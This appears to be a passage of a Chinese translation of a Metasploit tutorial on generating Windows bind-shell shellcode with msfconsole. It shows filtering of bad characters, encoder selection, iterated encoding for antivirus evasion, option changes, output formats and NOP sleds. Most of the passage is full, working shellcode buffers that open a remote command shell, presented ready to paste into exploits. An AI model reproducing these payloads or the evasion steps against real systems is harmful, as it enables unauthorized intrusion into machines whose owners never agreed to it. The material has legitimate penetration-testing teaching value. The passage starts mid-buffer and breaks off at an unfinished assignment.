"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

看看这个shellcode很容易看到,与先前生成的绑定shell相比,空字节已成功删除。从而给我们一个空字节的空闲有效载荷。由于我们在生成过程中执行了更改,我们也看到其他重大差异。

还有一个区别是shellcode的总字节大小。在我们最初生成的shellcode中,大小为285字节,这个新的shellcode却是312个字节。比最初的大27字节;

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 285 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
...略...

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 312 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
...略...

在生成过程中,空字节的原始意图或代码中的有用性需要替换(或编码),以便在内存中确保我们的绑定外壳(shell )保持正常运行。

shell 另一个重要的变化是增加了编码器的使用。默认情况下,Metasploit将选择最好的“encoder(编码器)”来完成手头的任务。encoder(编码器)负责删除使用'-b'开关时输入的不想要的字符(等等)。我们稍后会更详细地讨论encoder(编码器)。

当指定不好的字符时,框架将使用最好的encoder(编码器)来完成这项工作。当代码生成过程中只有空字节被限制时才使用'x86 / shikata_ga_nai' 编码器。如果我们添加更多的坏字符,则可能会使用不同的encoder(编码器)来完成相同的任务。让我们再添加几个字节到列表中,看看会发生什么。

sf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 350 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd9" +
"\xcc\xb8\xa5\x83\xeb\xfc\xe2\xf4\x25\x24\x3a\xa5\xd9\xcc" +
"\xd8\x2c\x3c\xfd\x78\xc1\x52\x9c\x88\x2e\x8b\xc0\x33\xf7" +
"\xcd\x47\xca\x8d\xd6\x7b\xf2\x83\xe8\x33\x14\x99\xb8\xb0" +
"\xba\x89\xf9\x0d\x77\xa8\xd8\x0b\x5a\x57\x8b\x9b\x33\xf7" +
"\xc9\x47\xf2\x99\x52\x80\xa9\xdd\x3a\x84\xb9\x74\x88\x47" +
"\xe1\x85\xd8\x1f\x33\xec\xc1\x2f\x82\xec\x52\xf8\x33\xa4" +
"\x0f\xfd\x47\x09\x18\x03\xb5\xa4\x1e\xf4\x58\xd0\x2f\xcf" +
"\xc5\x5d\xe2\xb1\x9c\xd0\x3d\x94\x33\xfd\xfd\xcd\x6b\xc3" +
"\x52\xc0\xf3\x2e\x81\xd0\xb9\x76\x52\xc8\x33\xa4\x09\x45" +
"\xfc\x81\xfd\x97\xe3\xc4\x80\x96\xe9\x5a\x39\x93\xe7\xff" +
"\x52\xde\x53\x28\x84\xa4\x8b\x97\xd9\xcc\xd0\xd2\xaa\xfe" +
"\xe7\xf1\xb1\x80\xcf\x83\xde\x33\x6d\x1d\x49\xcd\xb8\xa5" +
"\xf0\x08\xec\xf5\xb1\xe5\x38\xce\xd9\x33\x6d\xcf\xd1\x95" +
"\xe8\x47\x24\x8c\xe8\xe5\x89\xa4\x52\xaa\x06\x2c\x47\x70" +
"\x4e\xa4\xba\xa5\xc8\x90\x31\x43\xb3\xdc\xee\xf2\xb1\x0e" +
"\x63\x92\xbe\x33\x6d\xf2\xb1\x7b\x51\x9d\x26\x33\x6d\xf2" +
"\xb1\xb8\x54\x9e\x38\x33\x6d\xf2\x4e\xa4\xcd\xcb\x94\xad" +
"\x47\x70\xb1\xaf\xd5\xc1\xd9\x45\x5b\xf2\x8e\x9b\x89\x53" +
"\xb3\xde\xe1\xf3\x3b\x31\xde\x62\x9d\xe8\x84\xa4\xd8\x41" +
"\xfc\x81\xc9\x0a\xb8\xe1\x8d\x9c\xee\xf3\x8f\x8a\xee\xeb" +
"\x8f\x9a\xeb\xf3\xb1\xb5\x74\x9a\x5f\x33\x6d\x2c\x39\x82" +
"\xee\xe3\x26\xfc\xd0\xad\x5e\xd1\xd8\x5a\x0c\x77\x48\x10" +
"\x7b\x9a\xd0\x03\x4c\x71\x25\x5a\x0c\xf0\xbe\xd9\xd3\x4c" +
"\x43\x45\xac\xc9\x03\xe2\xca\xbe\xd7\xcf\xd9\x9f\x47\x70"

我们看到使用了不同的encoder(编码器)来成功删除我们不需要的字节。Shikata_ga_nai可能无法使用我们的限制字节列表对我们的Payload(有效载荷)进行编码。另一方面Fnstenv_mov能够做到这一点。

Payload(有效载荷)生成失败

具有不使用某些字符而生成shellcode的能力是该框架提供的重要功能之一。这并不意味着它是无限的。
如果给出的限制字节太多,则没有encoder(编码器)可用于该任务。此时Metasploit将显示以下消息。

msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer successfully.

这就像删除字母表中的字母,并要求某人写出完整的句子。有时它不能完成。

使用哪种encoder(编码器)生成Payload(有效载荷)最佳

如前所述,当生成我们的有效载荷时,框架将选择可能的最佳编码器。不过有时候需要使用特定的类型,无论Metasploit认为什么。设想一个只能成功执行的漏洞攻击,只要它包含非字母数字字符。'shikata_ga_nai'编码器在这种情况下并不合适,因为它使用几乎所有可用于编码的字符。

查看编码器列表,我们看到'x86 / nonalpha'编码器存在。

sf  payload(shell_bind_tcp) > show encoders

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
...snip...
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

让我们重做我们的绑定shell有效载荷,但是这次我们会告诉框架使用' nonalpha '编码器。我们通过使用' -e '开关,然后使用上面显示的编码器名称来完成此操作。

msf payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 470 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6a\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x6f\xe8\xe2\xff\xff\xff\x17\x2b\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x31\x2f\x03\x33\x2a\x22\x32\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x21\x13\x13\x04" +
"\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x11\x22\x2b\x2b\x2b" +
"\x13\x13\x11\x25\x24\x13\x14\x24\x13\x24\x13\x07\x24\x13" +
"\x06\x0d\x2e\x1a\x13\x18\x0e\x17\x24\x24\x24\x11\x22\x25" +
"\x15\x37\x37\x37\x27\x2b\x25\x25\x25\x35\x25\x2d\x25\x25" +
"\x28\x25\x13\x02\x2d\x25\x35\x13\x25\x13\x06\x34\x09\x0c" +
"\x11\x28\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x7b" +
"\x8b\x7b\x30\x8b\x7b\x0c\x8b\x7b\x14\x8b\x7b\x28\x0f\xb7" +
"\x7b\x26\x31\xff\xac\x3c\x7b\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf2\x7b\x7b\x8b\x7b\x10\x8b\x7b\x3c\x8b\x7b" +
"\x11\x7b\xe3\x7b\x01\xd1\x7b\x8b\x7b\x20\x01\xd3\x8b\x7b" +
"\x18\xe3\x3a\x7b\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf" +
"\x0d\x01\xc7\x38\xe0\x7b\xf6\x03\x7d\xf8\x3b\x7d\x24\x7b" +
"\xe4\x7b\x8b\x7b\x24\x01\xd3\x7b\x8b\x0c\x7b\x8b\x7b\x1c" +
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x7b\x24\x24\x5b\x5b\x7b" +
"\x7b\x7b\x7b\xff\xe0\x5f\x5f\x7b\x8b\x12\xeb\x8d\x5d\x7b" +
"\x33\x32\x00\x00\x7b\x7b\x7b\x32\x5f\x7b\x7b\x7b\x7b\x26" +
"\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x7b\x7b\x7b\x29" +
"\x80\x7b\x00\xff\xd5\x7b\x08\x7b\x7b\xe2\xfd\x40\x7b\x40" +
"\x7b\x7b\xea\x0f\xdf\xe0\xff\xd5\x97\x7b\x02\x00\x11\x5c" +
"\x89\xe6\x7b\x10\x7b\x7b\x7b\xc2\xdb\x37\x7b\xff\xd5\x7b" +
"\x7b\xb7\xe9\x38\xff\xff\xd5\x7b\x7b\x7b\xec\x3b\xe1\xff" +
"\xd5\x7b\x97\x7b\x7b\x7b\x7b\x7b\xff\xd5\x7b\x7b\x7b\x7b" +
"\x00\x89\xe3\x7b\x7b\x7b\x31\xf6\x7b\x12\x7b\x7b\xe2\xfd" +
"\x7b\xc7\x7b\x24\x3c\x01\x01\x8d\x7b\x24\x10\xc6\x00\x7b" +
"\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b" +
"\xcc\x3f\x86\xff\xd5\x89\xe0\x7b\x7b\x7b\xff\x30\x7b\x08" +
"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x7b\x7b\xa6\x95\xbd" +
"\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x7b\x05\xbb\x7b" +
"\x13\x7b\x7b\x7b\x00\x7b\xff\xd5"

如果一切按计划进行,我们的有效载荷将不包含任何字母数字字符。但是,在使用除默认值以外的其他编码器时,我们必须小心。因为它倾向于给我们一个更大的有效载荷。例如,这个比我们以前的例子大得多。

我们在列表中的下一个选项是' -f '开关。这使我们能够将生成的Payload(有效载荷)保存到文件中,而不是将其显示在屏幕上。一如既往,它遵循带有文件路径的' generate '命令。

msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /home/filename.txt
[*] Writing 1784 bytes to /home/filename.txt...
msf payload(shell_bind_tcp) > cat /home/filename.txt
[*] exec: cat /home/filename.txt

# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xba\x65\x2f\x66\x55\xd9\xe1\xd9\x74\x24\xf4\x58\x2b\xc9" +
"\xb1\x53\x31\x50\x12\x03\x50\x12\x83\x8d\xd3\x84\xa0\xb1" +
"\xc4\xcb\x4b\x49\x15\xac\xc2\xac\x24\xec\xb1\xa5\x17\xdc" +
"\xb2\xeb\x9b\x97\x97\x1f\x2f\xd5\x3f\x10\x98\x50\x66\x1f" +
"\x19\xc8\x5a\x3e\x99\x13\x8f\xe0\xa0\xdb\xc2\xe1\xe5\x06" +
"\x2e\xb3\xbe\x4d\x9d\x23\xca\x18\x1e\xc8\x80\x8d\x26\x2d" +
"\x50\xaf\x07\xe0\xea\xf6\x87\x03\x3e\x83\x81\x1b\x23\xae" +
"\x58\x90\x97\x44\x5b\x70\xe6\xa5\xf0\xbd\xc6\x57\x08\xfa" +
"\xe1\x87\x7f\xf2\x11\x35\x78\xc1\x68\xe1\x0d\xd1\xcb\x62" +
"\xb5\x3d\xed\xa7\x20\xb6\xe1\x0c\x26\x90\xe5\x93\xeb\xab" +
"\x12\x1f\x0a\x7b\x93\x5b\x29\x5f\xff\x38\x50\xc6\xa5\xef" +
"\x6d\x18\x06\x4f\xc8\x53\xab\x84\x61\x3e\xa4\x69\x48\xc0" +
"\x34\xe6\xdb\xb3\x06\xa9\x77\x5b\x2b\x22\x5e\x9c\x4c\x19" +
"\x26\x32\xb3\xa2\x57\x1b\x70\xf6\x07\x33\x51\x77\xcc\xc3" +
"\x5e\xa2\x79\xcb\xf9\x1d\x9c\x36\xb9\xcd\x20\x98\x52\x04" +
"\xaf\xc7\x43\x27\x65\x60\xeb\xda\x86\x9f\xb0\x53\x60\xf5" +
"\x58\x32\x3a\x61\x9b\x61\xf3\x16\xe4\x43\xab\xb0\xad\x85" +
"\x6c\xbf\x2d\x80\xda\x57\xa6\xc7\xde\x46\xb9\xcd\x76\x1f" +
"\x2e\x9b\x16\x52\xce\x9c\x32\x04\x73\x0e\xd9\xd4\xfa\x33" +
"\x76\x83\xab\x82\x8f\x41\x46\xbc\x39\x77\x9b\x58\x01\x33" +
"\x40\x99\x8c\xba\x05\xa5\xaa\xac\xd3\x26\xf7\x98\x8b\x70" +
"\xa1\x76\x6a\x2b\x03\x20\x24\x80\xcd\xa4\xb1\xea\xcd\xb2" +
"\xbd\x26\xb8\x5a\x0f\x9f\xfd\x65\xa0\x77\x0a\x1e\xdc\xe7" +
"\xf5\xf5\x64\x17\xbc\x57\xcc\xb0\x19\x02\x4c\xdd\x99\xf9" +
"\x93\xd8\x19\x0b\x6c\x1f\x01\x7e\x69\x5b\x85\x93\x03\xf4" +
"\x60\x93\xb0\xf5\xa0"

通过使用' cat '命令的方式与我们在命令shell中的相同,我们可以看到我们的有效载荷已成功保存到我们的文件中。正如我们所看到的,在生成shellcode时也可以使用多个选项。

通过多次生成Payloads(有效载荷)

接下来在我们的选项列表中是迭代开关' -i '。简而言之,它告诉框架在生成最终有效载荷之前必须执行多少次编码。这样做的一个原因是隐形或反病毒逃避。MSFU的另一部分详细介绍了防病毒逃避。

因此,让我们比较使用1次迭代生成的绑定shell有效内容与相同shellcode的2次迭代。

msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...略...

比较两个输出,我们看到第二次迭代对我们的有效载荷有明显的影响。首先,字节大小比第一大。我们的负载越大,迭代次数越多。其次比较突出显示的代码的前几个字节,我们也看到它们不再相同。这是由于第二次迭代或第二次编码通过。它编码我们的有效载荷一次,而不是有效载荷并重新编码。让我们看看我们的shellcode,看看5次迭代会产生多大的差异。

msf payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 463 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xd9\xc5\xd9\x74\x24\xf4\xba\xb8\x43\x19\xe7\x5e\x29\xc9" +
"\xb1\x6e\x31\x56\x17\x83\xee\xfc\x03\xee\x50\xfb\x12\xd3" +
"\x96\x22\xa8\xcf\xec\x8d\xec\xbd\x01\xe0\x7e\xea\xd0\x4d" +
"\xe7\x6f\x0a\x51\xd9\x07\xdf\xa9\x72\x71\x31\x96\x4e\xb5" +
"\x6b\x24\x04\x48\x8a\xbc\x79\xdb\x87\x30\x5b\xc3\x23\xdc" +
"\x98\x06\x18\x4d\xa8\xf5\x60\x3a\x7b\xf4\x1e\xb9\x6c\x7a" +
"\xa6\xa2\xe6\xac\x71\x4a\x4e\x40\x67\x69\x4a\x03\x56\x55" +
"\x07\x22\x7f\x66\xa4\x56\x86\x75\xca\x57\xb6\x59\x69\x19" +
"\x89\x1a\x31\x0d\x1c\x76\x2d\xb4\xe3\x6d\x0a\xb6\xdf\xb7" +
"\x6f\x7c\x7e\xcb\x36\x14\xf8\xc6\xa3\xd1\x3e\xb3\x03\xa3" +
"\xa2\x72\xd0\xb8\xfe\x78\xc6\xa3\x09\xbe\x2d\xac\xf7\xcd" +
"\x70\xc8\xdc\xd4\x91\x76\xbe\x17\x1e\xb0\x4b\xdc\xfc\xce" +
"\xc9\x4c\x40\x08\x2c\x5e\xd4\x43\xf7\x38\xe8\x17\x2f\x4d" +
"\xbf\xbd\xb1\xbf\x58\x1a\xe0\x29\xf5\x8c\x13\x90\x98\x0d" +
"\x67\x59\xfb\x7c\x7a\xd4\x17\x71\x6f\x42\xf9\x72\x1f\xb3" +
"\x32\x3d\x49\x87\xa3\x9d\x3d\xa8\xf5\x1b\xb0\x7a\x3d\xac" +
"\xef\x69\x49\x32\xfe\x0d\x89\x22\xe0\x56\x42\xc6\x93\x76" +
"\x3c\x92\x72\x5a\x5e\x2e\x67\x09\x66\x25\x81\xe8\xc6\x9d" +
"\x2f\xc0\x06\xd5\xc9\xa2\x12\x8e\x2c\x9c\x01\xab\x34\xc7" +
"\x03\x26\xc0\x3f\xdd\xa3\x09\x57\x78\xe6\xea\xf7\x47\x5c" +
"\x98\x95\x3e\xf7\x03\x7c\x46\x9b\x1a\xd5\x21\xe2\x5c\x76" +
"\x47\x0d\xb2\x39\x32\x86\x7a\x5c\xa0\x20\x65\xc5\xf0\xaf" +
"\xf6\x6d\xe6\x83\xe7\xee\x4f\x80\xc7\x34\x16\x31\x0a\x17" +
"\xa5\x55\x35\x45\x19\xfe\xac\x6c\x44\x07\x59\xdf\x40\xbe" +
"\x73\x3a\x56\x33\xc6\xe5\xc0\xbe\xfd\x11\x7f\x0c\x32\xbb" +
"\x19\xbb\x82\x0c\x89\xc1\xdf\xa0\x39\x8f\x4c\xd1\x94\x50" +
"\x25\xe3\x6f\xf5\x82\x9a\x86\xe5\x8c\x4c\x6e\xb6\xb5\xc5" +
"\x64\xbb\xdd\xa5\xc9\x9c\xe5\x5f\xe5\x0a\x85\x9e\x34\x32" +
"\xc1\xe5\x65\x73\x1a\xf0\xee\xd6\xd5\x07\x60\x48\xf4\x9b" +
"\xb5\x34\x4f\x44\x74\x03\x9d\xe6\xe3\x32\x33\x65\xde\xc2" +
"\xad\x28\xb4\x83\x1f\x03\x68\x19\xef\x05\x7b\xf5\x89\xa0" +
"\x7a\x33\x2c\x2c\xa9\x3f\xc0\x84\xa4\x58\xbf\xee\x56\x4c" +
"\xf7\x0d\x11\x2b\x7f\x2c\x8f\x26\xa9\x60\x22\x6b\x19\x5c" +
"\x0a"

与以前的所有产出相比,这一变化非常重要。它稍大,我们的字节没有接近类似的地方。理论上,这将使我们的有效负载版本不易被发现。

我们花了很多时间从默认值开始生成shellcode。在绑定shell的情况下,默认的侦听端口是4444.通常这个必须改变。我们可以通过使用'-o'开关来完成这个任务,然后是我们希望改变的值。让我们来看看我们可以为这个有效载荷更改哪些选项。从msfconsole中,我们将发出'show options'命令。

msf  payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

默认情况下,我们的shell会监听端口'4444',退出函数是'process'。我们将使用'-o'将其更改为端口'1234'和'seh'退出功能。语法是VARIABLE = VALUE,每个选项之间用逗号分隔。在这种情况下,监听端口和退出函数都会更改,因此使用以下语法'LPORT = 1234,EXITFUNC = seh'。

msf payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=192.168.1.136, 
# PrependMigrate=false, EXITFUNC=seh, InitialAutoRunScript=, 
# AutoRunScript=
buf = 
"\xbb\xe8\x48\xa4\x88\xdd\xc6\xd9\x74\x24\xf4\x5e\x29\xc9" +
"\xb1\x53\x83\xee\xfc\x31\x5e\x0e\x03\xb6\x46\x46\x7d\xba" +
"\xbf\x04\x7e\x42\x40\x69\xf6\xa7\x71\xa9\x6c\xac\x22\x19" +
"\xe6\xe0\xce\xd2\xaa\x10\x44\x96\x62\x17\xed\x1d\x55\x16" +
"\xee\x0e\xa5\x39\x6c\x4d\xfa\x99\x4d\x9e\x0f\xd8\x8a\xc3" +
"\xe2\x88\x43\x8f\x51\x3c\xe7\xc5\x69\xb7\xbb\xc8\xe9\x24" +
"\x0b\xea\xd8\xfb\x07\xb5\xfa\xfa\xc4\xcd\xb2\xe4\x09\xeb" +
"\x0d\x9f\xfa\x87\x8f\x49\x33\x67\x23\xb4\xfb\x9a\x3d\xf1" +
"\x3c\x45\x48\x0b\x3f\xf8\x4b\xc8\x3d\x26\xd9\xca\xe6\xad" +
"\x79\x36\x16\x61\x1f\xbd\x14\xce\x6b\x99\x38\xd1\xb8\x92" +
"\x45\x5a\x3f\x74\xcc\x18\x64\x50\x94\xfb\x05\xc1\x70\xad" +
"\x3a\x11\xdb\x12\x9f\x5a\xf6\x47\x92\x01\x9f\xa4\x9f\xb9" +
"\x5f\xa3\xa8\xca\x6d\x6c\x03\x44\xde\xe5\x8d\x93\x21\xdc" +
"\x6a\x0b\xdc\xdf\x8a\x02\x1b\x8b\xda\x3c\x8a\xb4\xb0\xbc" +
"\x33\x61\x2c\xb4\x92\xda\x53\x39\x64\x8b\xd3\x91\x0d\xc1" +
"\xdb\xce\x2e\xea\x31\x67\xc6\x17\xba\x83\xc5\x91\x5c\xe1" +
"\xf9\xf7\xf7\x9d\x3b\x2c\xc0\x3a\x43\x06\x78\xac\x0c\x40" +
"\xbf\xd3\x8c\x46\x97\x43\x07\x85\x23\x72\x18\x80\x03\xe3" +
"\x8f\x5e\xc2\x46\x31\x5e\xcf\x30\xd2\xcd\x94\xc0\x9d\xed" +
"\x02\x97\xca\xc0\x5a\x7d\xe7\x7b\xf5\x63\xfa\x1a\x3e\x27" +
"\x21\xdf\xc1\xa6\xa4\x5b\xe6\xb8\x70\x63\xa2\xec\x2c\x32" +
"\x7c\x5a\x8b\xec\xce\x34\x45\x42\x99\xd0\x10\xa8\x1a\xa6" +
"\x1c\xe5\xec\x46\xac\x50\xa9\x79\x01\x35\x3d\x02\x7f\xa5" +
"\xc2\xd9\x3b\xdb\x33\xd3\xd1\x4c\xea\x86\x9b\x10\x0d\x7d" +
"\xdf\x2c\x8e\x77\xa0\xca\x8e\xf2\xa5\x97\x08\xef\xd7\x88" +
"\xfc\x0f\x4b\xa8\xd4"

使用NOP Sled生成Payload(有效载荷)

最后让我们看看NOP Sled长度和输出格式选项。当生成有效载荷时,默认的输出格式是'ruby'。尽管Ruby语言非常强大并且非常流行,但并不是每个人都能编写它。我们有能力告诉框架为我们的负载提供不同的编码格式,例如Perl,C和Java。在生成我们的shellcode时,也可以在开头添加一个NOP Sled。

首先让我们看看几种不同的输出格式,看看如何使用' -t '开关。与所有其他选项一样,所有需要完成的操作都是在开关中输入,然后按帮助菜单中显示的格式名称。

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...略...
msf  payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...略...
msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */
byte shell[] = new byte[]
{
    (byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
    (byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
    (byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
    (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
    (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...略...

查看不同编程语言的输出,我们看到每个输出都遵守它们各自的语言语法。在Ruby中使用散列“#”来注释,但在C中,它被替换为斜杠和星号字符的“/ *”语法。查看所有三个输出,数组适用于所选语言格式。准备好将其复制并粘贴到脚本中。

添加一个NOP(无操作或下一个操作)sled是通过' -s '开关完成的,然后是NOP的数量。这将在我们的有效载荷的开始处添加sled。请记住,sled越大,shellcode越大。因此,添加10个NOP将为总大小增加10个字节。

msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...略...
msf  payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
